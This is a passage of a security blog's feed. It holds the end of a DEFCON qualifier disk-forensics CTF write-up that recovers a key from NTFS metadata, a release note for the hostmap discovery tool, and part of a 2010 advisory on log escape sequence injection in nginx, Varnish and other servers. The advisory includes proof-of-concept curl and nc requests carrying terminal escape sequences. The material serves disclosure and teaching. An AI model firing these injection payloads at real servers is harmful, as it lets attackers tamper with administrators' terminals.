&lt;span class="go"&gt;00001b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;00001c0: 0101 0700 dffa 1f00 0000 467b 0000 0000  ..........F{....&lt;/span&gt;
&lt;span class="go"&gt;00001d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;00001e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;/span&gt;
&lt;span class="go"&gt;00001f0: 0000 0000 0000 0000 0000 0000 0000 55aa  ..............U.&lt;/span&gt;

&lt;span class="gp"&gt;$&lt;/span&gt; xxd -l &lt;span class="m"&gt;512&lt;/span&gt; -s &lt;span class="m"&gt;15872&lt;/span&gt; f100_6db079ca91c4860f.bin
&lt;span class="go"&gt;0003e00: eb52 904e 5446 5320 2020 2000 0208 0000  .R.NTFS    .....&lt;/span&gt;
&lt;span class="go"&gt;0003e10: 0000 0000 00f8 0000 3f00 ff00 1f00 0000  ........?.......&lt;/span&gt;
&lt;span class="go"&gt;0003e20: 0000 0000 8000 0000 457b 0000 0000 0000  ........E{......&lt;/span&gt;
&lt;span class="go"&gt;0003e30: 2205 0000 0000 0000 0200 0000 0000 0000  &amp;quot;...............&lt;/span&gt;
&lt;span class="go"&gt;0003e40: f600 0000 0100 0000 631f 85d4 4885 d422  ........c...H..&amp;quot;&lt;/span&gt;
&lt;span class="go"&gt;0003e50: 0000 0000 fa33 c08e d0bc 007c fb68 c007  .....3.....|.h..&lt;/span&gt;
&lt;span class="go"&gt;0003e60: 1f1e 6866 00cb 8816 0e00 6681 3e03 004e  ..hf......f.&amp;gt;..N&lt;/span&gt;
&lt;span class="go"&gt;0003e70: 5446 5375 15b4 41bb aa55 cd13 720c 81fb  TFSu..A..U..r...&lt;/span&gt;
&lt;span class="go"&gt;0003e80: 55aa 7506 f7c1 0100 7503 e9dd 001e 83ec  U.u.....u.......&lt;/span&gt;
&lt;span class="go"&gt;0003e90: 1868 1a00 b448 8a16 0e00 8bf4 161f cd13  .h...H..........&lt;/span&gt;
&lt;span class="go"&gt;0003ea0: 9f83 c418 9e58 1f72 e13b 060b 0075 dba3  .....X.r.;...u..&lt;/span&gt;
&lt;span class="go"&gt;0003eb0: 0f00 c12e 0f00 041e 5a33 dbb9 0020 2bc8  ........Z3... +.&lt;/span&gt;
&lt;span class="go"&gt;0003ec0: 66ff 0611 0003 160f 008e c2ff 0616 00e8  f...............&lt;/span&gt;
&lt;span class="go"&gt;0003ed0: 4b00 2bc8 77ef b800 bbcd 1a66 23c0 752d  K.+.w......f#.u-&lt;/span&gt;
&lt;span class="go"&gt;0003ee0: 6681 fb54 4350 4175 2481 f902 0172 1e16  f..TCPAu$....r..&lt;/span&gt;
&lt;span class="go"&gt;0003ef0: 6807 bb16 6870 0e16 6809 0066 5366 5366  h...hp..h..fSfSf&lt;/span&gt;
&lt;span class="go"&gt;0003f00: 5516 1616 68b8 0166 610e 07cd 1a33 c0bf  U...h..fa....3..&lt;/span&gt;
&lt;span class="go"&gt;0003f10: 2810 b9d8 0ffc f3aa e95f 0190 9066 601e  (........_...f`.&lt;/span&gt;
&lt;span class="go"&gt;0003f20: 0666 a111 0066 0306 1c00 1e66 6800 0000  .f...f.....fh...&lt;/span&gt;
&lt;span class="go"&gt;0003f30: 0066 5006 5368 0100 6810 00b4 428a 160e  .fP.Sh..h...B...&lt;/span&gt;
&lt;span class="go"&gt;0003f40: 0016 1f8b f4cd 1366 595b 5a66 5966 591f  .......fY\[ZfYfY.&lt;/span&gt;
&lt;span class="go"&gt;0003f50: 0f82 1600 66ff 0611 0003 160f 008e c2ff  ....f...........&lt;/span&gt;
&lt;span class="go"&gt;0003f60: 0e16 0075 bc07 1f66 61c3 a0f8 01e8 0900  ...u...fa.......&lt;/span&gt;
&lt;span class="go"&gt;0003f70: a0fb 01e8 0300 f4eb fdb4 018b f0ac 3c00  ..............&amp;lt;.&lt;/span&gt;
&lt;span class="go"&gt;0003f80: 7409 b40e bb07 00cd 10eb f2c3 0d0a 4120  t.............A&lt;/span&gt;
&lt;span class="go"&gt;0003f90: 6469 736b 2072 6561 6420 6572 726f 7220  disk read error&lt;/span&gt;
&lt;span class="go"&gt;0003fa0: 6f63 6375 7272 6564 000d 0a42 4f4f 544d  occurred...BOOTM&lt;/span&gt;
&lt;span class="go"&gt;0003fb0: 4752 2069 7320 6d69 7373 696e 6700 0d0a  GR is missing...&lt;/span&gt;
&lt;span class="go"&gt;0003fc0: 424f 4f54 4d47 5220 6973 2063 6f6d 7072  BOOTMGR is compr&lt;/span&gt;
&lt;span class="go"&gt;0003fd0: 6573 7365 6400 0d0a 5072 6573 7320 4374  essed...Press Ct&lt;/span&gt;
&lt;span class="go"&gt;0003fe0: 726c 2b41 6c74 2b44 656c 2074 6f20 7265  rl+Alt+Del to re&lt;/span&gt;
&lt;span class="go"&gt;0003ff0: 7374 6172 740d 0a00 8ca9 bed6 0000 55aa  start.........U.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Seems some sort of Windows image. Get a look at the full partition&amp;nbsp;table.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; mmls f100_6db079ca91c4860f.bin
&lt;span class="go"&gt;DOS Partition Table&lt;/span&gt;
&lt;span class="go"&gt;Offset Sector: 0&lt;/span&gt;
&lt;span class="go"&gt;Units are in 512-byte sectors&lt;/span&gt;

&lt;span class="go"&gt;Slot    Start        End          Length       Description&lt;/span&gt;
&lt;span class="go"&gt;00:  Meta    0000000000   0000000000   0000000001   Primary Table&lt;/span&gt;
&lt;span class="gp gp-VirtualEnv"&gt;(#0)&lt;/span&gt;
&lt;span class="go"&gt;01:  -----   0000000000   0000000030   0000000031   Unallocated&lt;/span&gt;
&lt;span class="go"&gt;02:  00:00   0000000031   0000031588   0000031558   NTFS (0x07)&lt;/span&gt;
&lt;span class="go"&gt;03:  -----   0000031589   0000031615   0000000027   Unallocated&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Using these values we can extract the partitions with&amp;nbsp;dd.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; dd &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;f100_6db079ca91c4860f.bin &lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;p0.bin &lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt; &lt;span class="nv"&gt;skip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="go"&gt;1+0 records in&lt;/span&gt;
&lt;span class="go"&gt;1+0 records out&lt;/span&gt;
&lt;span class="go"&gt;512 bytes (512 B) copied, 5.0705e-05 s, 10.1 MB/s&lt;/span&gt;
&lt;span class="gp"&gt;$&lt;/span&gt; dd &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;f100_6db079ca91c4860f.bin &lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;p1.bin &lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt; &lt;span class="nv"&gt;skip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;31&lt;/span&gt;
&lt;span class="go"&gt;31+0 records in&lt;/span&gt;
&lt;span class="go"&gt;31+0 records out&lt;/span&gt;
&lt;span class="go"&gt;15872 bytes (16 kB) copied, 0.000218534 s, 72.6 MB/s&lt;/span&gt;
&lt;span class="gp"&gt;$&lt;/span&gt; dd &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;f100_6db079ca91c4860f.bin &lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;p2.bin &lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt; &lt;span class="nv"&gt;skip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;31&lt;/span&gt;
&lt;span class="go"&gt;31585+0 records in&lt;/span&gt;
&lt;span class="go"&gt;31585+0 records out&lt;/span&gt;
&lt;span class="go"&gt;16171520 bytes (16 MB) copied, 0.298363 s, 54.2 MB/s&lt;/span&gt;
&lt;span class="gp"&gt;$&lt;/span&gt; dd &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;f100_6db079ca91c4860f.bin &lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;p3.bin &lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt; &lt;span class="nv"&gt;skip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;31589&lt;/span&gt;
&lt;span class="go"&gt;27+0 records in&lt;/span&gt;
&lt;span class="go"&gt;27+0 records out&lt;/span&gt;
&lt;span class="go"&gt;13824 bytes (14 kB) copied, 0.000205892 s, 67.1 MB/s&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now re-check partions with&amp;nbsp;file.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; file p&lt;span class="se"&gt;\*&lt;/span&gt;.bin
&lt;span class="go"&gt;p0.bin: x86 boot sector; partition 1: ID=0x7, starthead 0,&lt;/span&gt;
&lt;span class="go"&gt;startsector 31, 31558 sectors, extended partition table (last)11,&lt;/span&gt;
&lt;span class="go"&gt;code offset 0x0&lt;/span&gt;
&lt;span class="go"&gt;p1.bin: x86 boot sector; partition 1: ID=0x7, starthead 0,&lt;/span&gt;
&lt;span class="go"&gt;startsector 31, 31558 sectors, extended partition table (last)11,&lt;/span&gt;
&lt;span class="go"&gt;code offset 0x0&lt;/span&gt;
&lt;span class="go"&gt;p2.bin: x86 boot sector, code offset 0x52, OEM-ID &amp;quot;NTFS    &amp;quot;,&lt;/span&gt;
&lt;span class="go"&gt;sectors/cluster 8, reserved sectors 0, Media descriptor 0xf8,&lt;/span&gt;
&lt;span class="go"&gt;heads 255, hidden sectors 31, dos &amp;lt; 4.0 BootSector (0x0)&lt;/span&gt;
&lt;span class="go"&gt;p3.bin: data&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now take a quick look with strings at each partitions, if you are lucky
you can see the key. Anyway go ahead with the full&amp;nbsp;analysis.&lt;/p&gt;
&lt;p&gt;Now run foremost to carve files on all&amp;nbsp;partitions.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; foremost -i p0.bin -o p0
&lt;span class="go"&gt;Processing: p0.bin&lt;/span&gt;
&lt;span class="go"&gt;|*|&lt;/span&gt;
&lt;span class="gp"&gt;$&lt;/span&gt; foremost -i p1.bin -o p1
&lt;span class="go"&gt;Processing: p1.bin&lt;/span&gt;
&lt;span class="go"&gt;|*|&lt;/span&gt;
&lt;span class="gp"&gt;$&lt;/span&gt; foremost -i p2.bin -o p2
&lt;span class="go"&gt;Processing: p2.bin&lt;/span&gt;
&lt;span class="go"&gt;|*|&lt;/span&gt;
&lt;span class="gp"&gt;$&lt;/span&gt; foremost -i p3.bin -o p3
&lt;span class="go"&gt;Processing: p3.bin&lt;/span&gt;
&lt;span class="go"&gt;|*|&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;On p2.bin foremost recovers some file as we can see from&amp;nbsp;audit.txt.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; cat p2/audit.txt
&lt;span class="go"&gt;Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick&lt;/span&gt;
&lt;span class="go"&gt;Mikus&lt;/span&gt;
&lt;span class="go"&gt;Audit File&lt;/span&gt;

&lt;span class="go"&gt;Foremost started at Sun Jun 20 17:47:43 2010&lt;/span&gt;
&lt;span class="go"&gt;Invocation: foremost -i p2.bin -o p2&lt;/span&gt;
&lt;span class="go"&gt;Output directory: /home/jekil/Desktop/p2&lt;/span&gt;
&lt;span class="go"&gt;Configuration file: /etc/foremost.conf&lt;/span&gt;
&lt;span class="go"&gt;------------------------------------------------------------------&lt;/span&gt;
&lt;span class="go"&gt;File: p2.bin&lt;/span&gt;
&lt;span class="go"&gt;Start: Sun Jun 20 17:47:43 2010&lt;/span&gt;
&lt;span class="go"&gt;Length: 15 MB (16171520 bytes)&lt;/span&gt;

&lt;span class="go"&gt;Num     Name (bs=512)           Size     File Offset     Comment&lt;/span&gt;

&lt;span class="go"&gt;0:    00000312.jpg           11 KB          159744&lt;/span&gt;
&lt;span class="go"&gt;1:    00000336.jpg            4 KB          172032&lt;/span&gt;
&lt;span class="go"&gt;2:    00000344.jpg            1 KB          176128&lt;/span&gt;
&lt;span class="go"&gt;3:    00001032.jpg           13 KB          528384&lt;/span&gt;
&lt;span class="go"&gt;4:    00001064.jpg           36 KB          544768&lt;/span&gt;
&lt;span class="go"&gt;5:    00001144.jpg           32 KB          585728&lt;/span&gt;
&lt;span class="go"&gt;6:    00001216.jpg            4 KB          622592&lt;/span&gt;
&lt;span class="go"&gt;7:    00000288.png            9 KB          147456       (634 x 278)&lt;/span&gt;
&lt;span class="go"&gt;Finish: Sun Jun 20 17:47:43 2010&lt;/span&gt;

&lt;span class="go"&gt;8 FILES EXTRACTED&lt;/span&gt;

&lt;span class="go"&gt;jpg:= 7&lt;/span&gt;
&lt;span class="go"&gt;png:= 1&lt;/span&gt;
&lt;span class="go"&gt;------------------------------------------------------------------&lt;/span&gt;

&lt;span class="go"&gt;Foremost finished at Sun Jun 20 17:47:43 2010&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Get a look at these images with a viewer, one image seems to contains a
kind of encoded (like base64) data but i haven&amp;#8217;t found an use of that,
another image contains some exif data, you can see that with exiftool or
a viewer with metadata&amp;nbsp;support.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;File size : 4378 bytes
File date : 2010:05:22 01:57:57
Resolution : 116 x 102
GPS Latitude : N 36d 8m 8.5s
GPS Longitude: E 115d 9m 29s
Comment : Who is the author?ASCII
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now it&amp;#8217;s time to get a look at the file system. Add every partition to
autopsy and search for interesting&amp;nbsp;things.&lt;/p&gt;
&lt;p&gt;In partition two we found a suspect file in C:\key but it was&amp;nbsp;deleted.&lt;/p&gt;
&lt;p&gt;Anyway it&amp;#8217;s a &lt;span class="caps"&gt;NTFS&lt;/span&gt; partition so we can check $&lt;span class="caps"&gt;MFT&lt;/span&gt; for chunks of deleted
files. Examining that and searching for the key file we see an
interesting string encoded in Unicode (points are null&amp;nbsp;byte)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;n.o.t.d.e.l.e.t.e.d.,.n.e.v.e.r.existed
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The key was&amp;nbsp;&amp;#8220;notdeleted,neverexisted&amp;#8221;.&lt;/p&gt;
</content><category term="Blog"></category><category term="CTF"></category><category term="DEFCON"></category><category term="quals"></category></entry><entry><title>hostmap 0.2.2 released</title><link href="https://jekil.sexy/blog/2010/hostmap-0-2-2-released.html" rel="alternate"></link><published>2010-05-09T19:57:00+01:00</published><updated>2010-05-09T19:57:00+01:00</updated><author><name>admin</name></author><id>tag:jekil.sexy,2010-05-09:/blog/2010/hostmap-0-2-2-released.html</id><summary type="html">&lt;div class="line-block"&gt;
&lt;div class="line"&gt;I am glad to release hostmap version 0.2.2.&lt;/div&gt;
&lt;div class="line"&gt;In this version there are a lot of bug fixes and some new features.&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="introduction"&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;hostmap is a free, automatic, hostnames and virtual hosts discovery tool
written in Ruby and licensed under &lt;span class="caps"&gt;GNU&lt;/span&gt; General Public License version 3
(GPLv3). It’s goal is to enumerate all hostnames and configured virtual
hosts on an &lt;span class="caps"&gt;IP&lt;/span&gt; address. The primary users of hostmap are professionals
performing vulnerability assessments and penetration&amp;nbsp;tests.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="changes"&gt;
&lt;h2&gt;Changes&lt;/h2&gt;
&lt;p&gt;Some of the new features&amp;nbsp;include:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Fixed hostname dictionary &amp;#8220;big&amp;#8221; list&amp;nbsp;name.&lt;/li&gt;
&lt;li&gt;Fixed &lt;span class="caps"&gt;DNS&lt;/span&gt; &lt;span class="caps"&gt;AXFR&lt;/span&gt; zone transfer check that was prone …&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="line-block"&gt;
&lt;div class="line"&gt;I am glad to release hostmap version 0.2.2.&lt;/div&gt;
&lt;div class="line"&gt;In this version there are a lot of bug fixes and some new features.&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="introduction"&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;hostmap is a free, automatic, hostnames and virtual hosts discovery tool
written in Ruby and licensed under &lt;span class="caps"&gt;GNU&lt;/span&gt; General Public License version 3
(GPLv3). It’s goal is to enumerate all hostnames and configured virtual
hosts on an &lt;span class="caps"&gt;IP&lt;/span&gt; address. The primary users of hostmap are professionals
performing vulnerability assessments and penetration&amp;nbsp;tests.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="changes"&gt;
&lt;h2&gt;Changes&lt;/h2&gt;
&lt;p&gt;Some of the new features&amp;nbsp;include:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Fixed hostname dictionary &amp;#8220;big&amp;#8221; list&amp;nbsp;name.&lt;/li&gt;
&lt;li&gt;Fixed &lt;span class="caps"&gt;DNS&lt;/span&gt; &lt;span class="caps"&gt;AXFR&lt;/span&gt; zone transfer check that was prone to false
positives under some&amp;nbsp;circumstances.&lt;/li&gt;
&lt;li&gt;Added automatic check for new updates. You can disable it in
configuration file or using the option&amp;nbsp;&amp;#8212;without-update.&lt;/li&gt;
&lt;li&gt;Fixed &lt;span class="caps"&gt;DNS&lt;/span&gt; History plugin that can raise SystemExit under some
strange&amp;nbsp;circumstances.&lt;/li&gt;
&lt;li&gt;Changed the job scheduler. Now is more fast, robust and fine&amp;nbsp;tuned.&lt;/li&gt;
&lt;li&gt;Added a dynamic thread pool, now you can use &amp;#8212;threads to choose
the number of concurrent&amp;nbsp;threads.&lt;/li&gt;
&lt;li&gt;Some minor&amp;nbsp;fixes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;See the complete list of changes at &lt;a class="reference external" href="http://hostmap.lonerunners.net/doc/Changelog.txt"&gt;http://hostmap.lonerunners.net/doc/Changelog.txt&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="download"&gt;
&lt;h2&gt;Download&lt;/h2&gt;
&lt;p&gt;You can download it in the following&amp;nbsp;format:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Source zip compressed, &lt;a class="reference external" href="http://hostmap.lonerunners.net/downloads/hostmap-0.2.2.zip"&gt;http://hostmap.lonerunners.net/downloads/hostmap-0.2.2.zip&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Github, &lt;a class="reference external" href="https://github.com/jekil/hostmap"&gt;https://github.com/jekil/hostmap&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="documentation"&gt;
&lt;h2&gt;Documentation&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;hostmap user’s manual: &lt;a class="reference external" href="http://hostmap.lonerunners.net/doc/README.pdf"&gt;http://hostmap.lonerunners.net/doc/&lt;span class="caps"&gt;README&lt;/span&gt;.pdf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</content><category term="Tools"></category><category term="discovery"></category><category term="dns enumeration"></category><category term="dns name"></category><category term="virtual host"></category></entry><entry><title>Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver, Yaws and Boa log escape sequence injection @ Ush.it</title><link href="https://jekil.sexy/blog/2010/nginx-varnish-cherokee-thttpd-mini-httpd-webrick-orion-aolserver-yaws-and-boa-log-escape-sequence-injection-ush-it.html" rel="alternate"></link><published>2010-01-10T21:07:00+00:00</published><updated>2010-01-10T21:07:00+00:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2010-01-10:/blog/2010/nginx-varnish-cherokee-thttpd-mini-httpd-webrick-orion-aolserver-yaws-and-boa-log-escape-sequence-injection-ush-it.html</id><summary type="html">&lt;p&gt;With the &lt;a class="reference external" href="http://www.ush.it/"&gt;Ush.it&lt;/a&gt; team we published an advisory
about “&lt;a class="reference external" href="http://www.ush.it/2010/01/11/nginx-varnish-cherokee-thttpd-mini-httpd-webrick-orion-aolserver-yaws-and-boa-log-escape-sequence-injection/"&gt;Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion,
AOLserver, Yaws and Boa log escape sequence
injection&lt;/a&gt;”.
The original post
is&amp;nbsp;&lt;a class="reference external" href="http://www.ush.it/2010/01/11/nginx-varnish-cherokee-thttpd-mini-httpd-webrick-orion-aolserver-yaws-and-boa-log-escape-sequence-injection/"&gt;here&lt;/a&gt; and can be downloaded from &lt;a class="reference external" href="https://jekil.sexy/public/advisory/hack_httpd_escape-2010/adv.txt"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver,
Yaws and Boa log escape sequence injection

 Name              Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick,
                   Orion, AOLserver, Yaws and Boa log escape sequence
                   injection
 Systems Affected  nginx 0.7.64
                   Varnish 2.0.6
                   Cherokee 0.99.30
                   mini_httpd 1.19
                   thttpd 2.25b0
                   WEBrick 1.3.1
                   Orion 2.0.7
                   AOLserver 4.5.1
                   Yaws …&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;With the &lt;a class="reference external" href="http://www.ush.it/"&gt;Ush.it&lt;/a&gt; team we published an advisory
about “&lt;a class="reference external" href="http://www.ush.it/2010/01/11/nginx-varnish-cherokee-thttpd-mini-httpd-webrick-orion-aolserver-yaws-and-boa-log-escape-sequence-injection/"&gt;Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion,
AOLserver, Yaws and Boa log escape sequence
injection&lt;/a&gt;”.
The original post
is&amp;nbsp;&lt;a class="reference external" href="http://www.ush.it/2010/01/11/nginx-varnish-cherokee-thttpd-mini-httpd-webrick-orion-aolserver-yaws-and-boa-log-escape-sequence-injection/"&gt;here&lt;/a&gt; and can be downloaded from &lt;a class="reference external" href="https://jekil.sexy/public/advisory/hack_httpd_escape-2010/adv.txt"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver,
Yaws and Boa log escape sequence injection

 Name              Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick,
                   Orion, AOLserver, Yaws and Boa log escape sequence
                   injection
 Systems Affected  nginx 0.7.64
                   Varnish 2.0.6
                   Cherokee 0.99.30
                   mini_httpd 1.19
                   thttpd 2.25b0
                   WEBrick 1.3.1
                   Orion 2.0.7
                   AOLserver 4.5.1
                   Yaws 1.85
                   Boa 0.94.14rc21
 Severity          Medium
 Impact (CVSSv2)   Medium 5/10, vector: (AV:N/AC:L/Au:N/C:P/I:N/A:N)
 Vendor            http://www.nginx.net/
                   http://varnish.projects.linpro.no/
                   http://www.cherokee-project.com/
                   http://www.ruby-lang.org/
                   http://www.acme.com/software/thttpd/
                   http://www.acme.com/software/mini_httpd/
                   http://www.orionserver.com/
                   http://www.aolserver.com/
                   http://yaws.hyber.org/
                   http://www.boa.org/
 Advisory          http://www.ush.it/team/ush/hack_httpd_escape/adv.txt
 Authors           Giovanni &amp;quot;evilaliv3&amp;quot; Pellerano (evilaliv3 AT ush DOT it)
                   Alessandro &amp;quot;jekil&amp;quot; Tanasi (alessandro AT tanasi DOT it)
                   Francesco &amp;quot;ascii&amp;quot; Ongaro (ascii AT ush DOT it)
 Date              20100110

I. BACKGROUND

nginx is a HTTP and reverse proxy server written by Igor Sysoev.
Varnish is a state-of-the-art, high-performance HTTP accelerator.
Cherokee is a very fast, flexible and easy to configure Web Server.
thttpd is a simple, small, portable, fast, and secure HTTP server.
mini_httpd is a small HTTP server.
WEBrick is a Ruby library providing simple HTTP web server services.
Orion Application Server is a pure java application-server.
AOLserver is America Online&amp;#39;s Open-Source web server.
Yaws is a HTTP high perfomance 1.1 webserver.
Boa is a single-tasking HTTP server.

II. DESCRIPTION

Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver,
Yaws and Boa are subject to logs escape sequence injection
vulnerabilites.

Escape sequences are special characters sequences that are used to
instruct the terminal to perform special operations like executing
commands [4, 5] or dumping the buffer to a file [6, 7].

When the webserver is executed in foreground in a pty or when the
logfiles are viewed with tools like &amp;quot;cat&amp;quot; or &amp;quot;tail&amp;quot; such control chars
reach the terminal and are executed.

III. ANALYSIS

Summary:

 A) &amp;quot;nginx&amp;quot; log escape sequence injection
   (Affected versions: 0.7.64 and probably earlier versions)

 B) &amp;quot;Varnish&amp;quot; log escape sequence injection
   (Affected versions: 2.0.6 and probably earlier versions)

 C) &amp;quot;Cherokee&amp;quot; log escape sequence injection
   (Affected versions: 0.99.30 and probably earlier versions)

 D) &amp;quot;thttpd&amp;quot; log escape sequence injection
   (Affected versions: thttpd/2.25b and probably earlier versions)

 E) &amp;quot;mini_httpd&amp;quot; log escape sequence injection
   (Affected versions: 1.19 and probably earlier versions)

 F) &amp;quot;WEBrick&amp;quot; log escape sequence injection
   (Affected versions: 1.3.1 and probably earlier versions)

 G) &amp;quot;Orion&amp;quot; log escape sequence injection
   (Affected versions: 2.0.7 and probably earlier versions)

 H) &amp;quot;AOLserver&amp;quot; log escape sequence injection
   (Affected versions: 4.5.1 and probably earlier versions)

 I) &amp;quot;Yaws&amp;quot; log escape sequence injection
   (Affected versions: 1.85 and probably earlier versions)

 L) &amp;quot;Boa&amp;quot; log escape sequence injection
   (Affected versions: 0.94.14rc21 and probably earlier versions)

A) &amp;quot;nginx&amp;quot; log escape sequence injection

One of the following two Proofs Of Concept can be used in order to
verify the vulnerability.

curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

echo -en &amp;quot;GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d&amp;quot; &amp;gt; payload
nc localhost 80 &amp;lt; payload

B) &amp;quot;Varnish&amp;quot; log escape sequence injection

One of the following two Proofs Of Concept can be used in order to
verify the vulnerability.

xterm varnishlog

echo -en &amp;quot;GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d&amp;quot; &amp;gt; payload
nc localhost 80 &amp;lt; payload

C) &amp;quot;Cherokee&amp;quot; log escape sequence injection

The following Proof Of Concept can be used in order to verify the
vulnerability.

curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

D) &amp;quot;thttpd&amp;quot; log escape sequence injection

The following Proof Of Concept can be used in order to verify the
vulnerability.

echo -en &amp;quot;GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d&amp;quot; &amp;gt; payload
nc localhost 80 &amp;lt; payload

E) &amp;quot;mini_httpd&amp;quot; log escape sequence injection

One of the following two Proofs Of Concept can be used in order to
verify the vulnerability.

curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

echo -en &amp;quot;GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d&amp;quot; &amp;gt; payload
nc localhost 80 &amp;lt; payload

F) &amp;quot;WEBrick&amp;quot; log escape sequence injection

One of the following two Proofs Of Concept can be used in order to
verify the vulnerability.

curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

echo -en &amp;quot;GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d&amp;quot; &amp;gt; payload
nc localhost 80 &amp;lt; payload

G) &amp;quot;Orion&amp;quot; log escape sequence injection

One of the following two Proofs Of Concept can be used in order to
verify the vulnerability.

curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

